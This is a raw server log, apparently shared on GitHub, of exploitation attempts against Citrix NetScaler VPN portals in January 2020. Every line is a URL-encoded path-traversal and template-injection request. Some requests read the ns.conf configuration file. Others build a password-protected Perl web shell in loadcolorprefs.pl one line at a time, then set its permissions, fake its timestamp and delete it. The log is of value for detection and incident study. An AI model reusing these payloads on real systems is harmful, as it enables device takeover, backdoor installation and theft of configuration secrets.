January 30th 2020, 13:07:48.000 185.220.100.253 /vpn/../vpns/portal/34d0fbf6%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'%5Cx24ENV%7B%5Cx22REQUEST_METHOD%5Cx22%7D=%5Cx7etr%5Cx2fa-z%5Cx2fA-Z%5Cx2f;if(%5Cx24ENV%7B%5Cx22REQUEST_METHOD%5Cx22%7Deq%5Cx22POST%5Cx22)%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 13:07:36.000 185.220.101.56 /vpn/../vpns/portal/1f178603%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'%5Cx24ENV%7B%5Cx22REQUEST_METHOD%5Cx22%7D=%5Cx7etr%5Cx2fa-z%5Cx2fA-Z%5Cx2f;if(%5Cx24ENV%7B%5Cx22REQUEST_METHOD%5Cx22%7Deq%5Cx22POST%5Cx22)%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 13:07:26.000 185.220.101.15 /vpn/../vpns/portal/350fb1af%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'%5Cx24ret%7B%5Cx24var%7D=%5Cx24value;%7D%7Dreturn%25ret;%7D%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 13:07:13.000 185.220.101.31 /vpn/../vpns/portal/e35496bb%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'%5Cx24ret%7B%5Cx24var%7D=%5Cx24value;%7D%7Dreturn%25ret;%7D%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 13:07:01.000 185.220.101.67 /vpn/../vpns/portal/e60256cd%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'if(%5Cx24var)%7B%5Cx24value=%5Cx7es%5Cx2f%5C%5C%5C+%5Cx2f%20%5Cx2fg;%5Cx24value=%5Cx7es%5Cx2f%25(..)%5Cx2fpack(%5Cx22c%5Cx22,hex(%5Cx241))%5Cx2feg;%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 13:06:52.000 185.220.100.246 /vpn/../vpns/portal/17db5fac%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'if(%5Cx24var)%7B%5Cx24value=%5Cx7es%5Cx2f%5C%5C%5C+%5Cx2f%20%5Cx2fg;%5Cx24value=%5Cx7es%5Cx2f%25(..)%5Cx2fpack(%5Cx22c%5Cx22,hex(%5Cx241))%5Cx2feg;%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 13:06:40.000 185.220.100.252 /vpn/../vpns/portal/3209e1ab%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'%7Bmy(%5Cx24var,%5Cx24value)=split(%5Cx22=%5Cx22,%5Cx24pair,2);%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 13:06:25.000 185.220.102.8 /vpn/../vpns/portal/4b0c4cf4%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'%7Bmy(%5Cx24var,%5Cx24value)=split(%5Cx22=%5Cx22,%5Cx24pair,2);%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 13:06:13.000 95.211.230.211 /vpn/../vpns/portal/d3cf5930%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'%7Bmy%25ret;my%5Cx24input=shift;foreach%20my%20%5Cx24pair(split(%5Cx2f%5Cx26%5Cx2f,%5Cx24input))%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 13:06:05.000 185.220.101.3 /vpn/../vpns/portal/dfc060a1%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'%7Bmy%25ret;my%5Cx24input=shift;foreach%20my%20%5Cx24pair(split(%5Cx2f%5Cx26%5Cx2f,%5Cx24input))%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 13:05:51.000 185.220.101.31 /vpn/../vpns/portal/5306d593%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'print%5Cx22Content-Type:%20text%5Cx2fhtml%5Cx22;sub%20parse_parameters%20(%5Cx24)%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 13:05:45.000 46.165.245.154 /vpn/../vpns/portal/2a491ea8%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'print%5Cx22Content-Type:%20text%5Cx2fhtml%5Cx22;sub%20parse_parameters%20(%5Cx24)%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 13:05:30.000 185.220.101.22 /vpn/../vpns/portal/98d06890%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'use%20strict;use%20Digest::MD5;my(%5Cx24cmd,%25FORM);%5Cx24%5Cx7c=1;%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 13:05:24.000 185.220.101.22 /vpn/../vpns/portal/3aa61960%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'use%20strict;use%20Digest::MD5;my(%5Cx24cmd,%25FORM);%5Cx24%5Cx7c=1;%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 13:05:07.000 185.220.100.251 /vpn/../vpns/portal/da2ad4e5%5B%25template.new(%7B'BLOCK'='print%60rm%20%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 13:05:04.000 185.220.100.251 /vpn/../vpns/portal/4017923c%5B%25template.new(%7B'BLOCK'='print%60rm%20%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 13:02:00.000 185.220.101.25 /vpn/../vpns/portal/bac000f4%5B%25template.new(%7B'BLOCK'='print%60touch%20-r%20%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2fsavecolorprefs.pl%20%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 13:01:39.000 185.220.100.254 /vpn/../vpns/portal/d20b6f70%5B%25template.new(%7B'BLOCK'='print%60chmod%20555%20%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 13:01:19.000 185.220.100.250 /vpn/../vpns/portal/8144abda%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'while(%5Cx3cCMD%5Cx3e)%7Bprint;%7Dclose(CMD);print%5Cx22-%5Cx22x%2080;%7D%7D%7D%7D%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 13:00:55.000 185.220.101.45 /vpn/../vpns/portal/7519cf07%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'open(CMD,%5Cx22(%5Cx24cmd)%202%5Cx3e%5Cx261%20%5Cx7c%5Cx22)%5Cx7c%5Cx7cprint%5Cx22Could%20not%20execute%20command%5Cx22;%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 13:00:34.000 185.220.101.28 /vpn/../vpns/portal/ca061664%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'if(%5Cx24md5-%5Cx3ehexdigest%20eq%<removed>%5Cx22)%7Bprint%5Cx22-%5Cx22x%2080;%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 13:00:13.000 185.220.101.60 /vpn/../vpns/portal/3bafe040%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'%7Bmy%5Cx24md5=Digest::MD5-%5Cx3enew;%5Cx24md5-%5Cx3eadd(%5Cx24FORM%7B%5Cx22pass%5Cx22%7D);%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 12:59:42.000 185.220.100.252 /vpn/../vpns/portal/0df17268%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'%7B%5Cx24cmd=%5Cx24FORM%7B%5Cx22cmd%5Cx22%7D;if(defined%5Cx24FORM%7B%5Cx22pass%5Cx22%7D)%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 12:59:22.000 185.220.100.255 /vpn/../vpns/portal/a6895978%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'%25FORM=parse_parameters(%5Cx24cmd);if(defined%5Cx24FORM%7B%5Cx22cmd%5Cx22%7D)%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 12:59:00.000 185.220.101.13 /vpn/../vpns/portal/38fb254f%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'%7Bread(STDIN,%5Cx24cmd,%5Cx24ENV%7B%5Cx22CONTENT_LENGTH%5Cx22%7D);%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 12:58:39.000 185.107.47.171 /vpn/../vpns/portal/7f70e734%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'%5Cx24ENV%7B%5Cx22REQUEST_METHOD%5Cx22%7D=%5Cx7etr%5Cx2fa-z%5Cx2fA-Z%5Cx2f;if(%5Cx24ENV%7B%5Cx22REQUEST_METHOD%5Cx22%7Deq%5Cx22POST%5Cx22)%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 12:58:19.000 185.220.101.56 /vpn/../vpns/portal/afc1cf5f%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'%5Cx24ret%7B%5Cx24var%7D=%5Cx24value;%7D%7Dreturn%25ret;%7D%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 12:57:56.000 185.220.101.25 /vpn/../vpns/portal/01159d3a%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'if(%5Cx24var)%7B%5Cx24value=%5Cx7es%5Cx2f%5C%5C%5C+%5Cx2f%20%5Cx2fg;%5Cx24value=%5Cx7es%5Cx2f%25(..)%5Cx2fpack(%5Cx22c%5Cx22,hex(%5Cx241))%5Cx2feg;%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 12:57:30.000 77.247.181.165 /vpn/../vpns/portal/175f4ea7%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'%7Bmy(%5Cx24var,%5Cx24value)=split(%5Cx22=%5Cx22,%5Cx24pair,2);%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 12:57:09.000 46.165.245.154 /vpn/../vpns/portal/75a2a6b9%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'%7Bmy%25ret;my%5Cx24input=shift;foreach%20my%20%5Cx24pair(split(%5Cx2f%5Cx26%5Cx2f,%5Cx24input))%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 12:56:47.000 185.220.100.253 /vpn/../vpns/portal/a861c391%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'print%5Cx22Content-Type:%20text%5Cx2fhtml%5Cx22;sub%20parse_parameters%20(%5Cx24)%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 12:56:25.000 185.220.100.253 /vpn/../vpns/portal/f4078f2d%5B%25template.new(%7B'BLOCK'='print%60echo%20-e%20%5C'use%20strict;use%20Digest::MD5;my(%5Cx24cmd,%25FORM);%5Cx24%5Cx7c=1;%5C'%20%7C%20tee%20-a%20%5C$(echo%20-e%20%5C'%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%5C')%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 30th 2020, 12:56:04.000 185.220.101.56 /vpn/../vpns/portal/05a74ab8%5B%25template.new(%7B'BLOCK'='print%60rm%20%5Cx2fnetscaler%5Cx2fportal%5Cx2fscripts%5Cx2floadcolorprefs.pl%60'%7D)%25%5D.xml POST CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 28th 2020, 11:44:09.000 77.247.181.165 /vpn/../vpns/portal/4f0028fe[%25template.new(%7B'BLOCK'='print%60find%2520.%2520-name%2520ns.conf%7Cxargs%2520cat%60'%7D)%25].xml GET CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 28th 2020, 11:39:26.000 18.27.197.252 /vpn/../vpns/portal/53cf1d4f[%25template.new(%7B'BLOCK'='print%60find%2520.%2520-name%2520ns.conf%7Cxargs%2520cat%60'%7D)%25].xml GET CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 28th 2020, 11:20:34.000 185.220.100.254 /vpn/../vpns/portal/1c40dabb[%25template.new(%7B'BLOCK'='print%60find%2520.%2520-name%2520ns.conf%7Cxargs%2520cat%60'%7D)%25].xml GET CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 28th 2020, 11:08:12.000 109.70.100.25 /vpn/../vpns/portal/239be08b[%25template.new(%7B'BLOCK'='print%60find%2520.%2520-name%2520ns.conf%7Cxargs%2520cat%60'%7D)%25].xml GET CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 28th 2020, 11:06:46.000 62.219.3.48 /vpn/../vpns/portal/4feec1c0[%25template.new(%7B'BLOCK'='print%60find%20.%20-name%20ns.conf%7Cxargs%20cat%60'%7D)%25].xml GET CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 28th 2020, 11:06:24.000 185.220.101.65 /vpn/../vpns/portal/57746d88[%25template.new(%7B'BLOCK'='print%60find%2520.%2520-name%2520ns.conf%7Cxargs%2520cat%60'%7D)%25].xml GET CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 28th 2020, 11:04:50.000 195.176.3.23 /vpn/../vpns/portal/5d9925c8[%25template.new(%7B'BLOCK'='print%60find%20.%20-name%20ns.conf%7Cxargs%20cat%60'%7D)%25].xml GET CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 28th 2020, 10:34:25.000 94.177.123.109 /vpn/../vpns/portal/4bf2c37e[%25template.new(%7B'BLOCK'='print%60find%2520.%2520-name%2520ns.conf%7Cxargs%2520cat%60'%7D)%25].xml GET CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 28th 2020, 10:21:28.000 94.177.123.109 /vpn/../vpns/portal/97725524[%25template.new(%7B'BLOCK'='print%60find%2520.%2520-name%2520ns.conf%7Cxargs%2520cat%60'%7D)%25].xml GET CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 28th 2020, 10:20:09.000 94.177.123.109 /vpn/../vpns/portal/4a04f962[%25template.new(%7B'BLOCK'='print%60find%2520.%2520-name%2520ns.conf%7Cxargs%2520cat%60'%7D)%25].xml GET CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 28th 2020, 10:16:28.000 94.177.123.109 /vpn/../vpns/portal/e70bac72[%25template.new(%7B'BLOCK'='print%60find%2520.%2520-name%2520ns.conf%7Cxargs%2520cat%60'%7D)%25].xml GET CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 28th 2020, 10:13:57.000 94.177.123.109 /vpn/../vpns/portal/63f256bc[%25template.new(%7B'BLOCK'='print%60find%2520.%2520-name%2520ns.conf%7Cxargs%2520cat%60'%7D)%25].xml GET CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 28th 2020, 10:09:23.000 23.129.64.203 /vpn/../vpns/portal/197f0a6e[%25template.new(%7B'BLOCK'='print%60find%20.%20-name%20ns.conf%7Cxargs%20cat%60'%7D)%25].xml GET CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 28th 2020, 10:09:01.000 198.251.89.80 /vpn/../vpns/portal/281c31e1[%25template.new(%7B'BLOCK'='print%60find%20.%20-name%20ns.conf%7Cxargs%20cat%60'%7D)%25].xml GET CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 28th 2020, 09:44:15.000 185.220.101.29 /vpn/../vpns/portal/8598850a[%25template.new(%7B'BLOCK'='print%60find%20.%20-name%20ns.conf%7Cxargs%20cat%60'%7D)%25].xml GET CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 24th 2020, 19:14:24.000 23.129.64.234 /vpn/../vpns/portal/ef9ca32b[%25template.new(%7B'BLOCK'='print%60find%20.%20-name%20ns.conf%7Cxargs%20cat%60'%7D)%25].xml GET CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 24th 2020, 18:37:33.000 23.129.64.192 /vpn/../vpns/portal/11a6a5a0[%25template.new(%7B'BLOCK'='print%60find%20.%20-name%20ns.conf%7Cxargs%20cat%60'%7D)%25].xml GET CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 24th 2020, 17:36:32.000 23.129.64.156 /vpn/../vpns/portal/17c7cb4a[%25template.new(%7B'BLOCK'='print%60find%20.%20-name%20ns.conf%7Cxargs%20cat%60'%7D)%25].xml GET CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 24th 2020, 16:41:39.000 185.220.101.60 /vpn/../vpns/portal/c0f0c03d[%25template.new(%7B'BLOCK'='print%60find%20.%20-name%20ns.conf%7Cxargs%20cat%60'%7D)%25].xml GET CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
January 24th 2020, 16:35:32.000 23.129.64.227 /vpn/../vpns/portal/574ca2a7[%25template.new(%7B'BLOCK'='print%60find%20.%20-name%20ns.conf%7Cxargs%20cat%60'%7D)%25].xml GET CitrixReceiver/CitrixVPN 2.3.6 Android/9.0.0 VpnCapable NAC/1.0
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment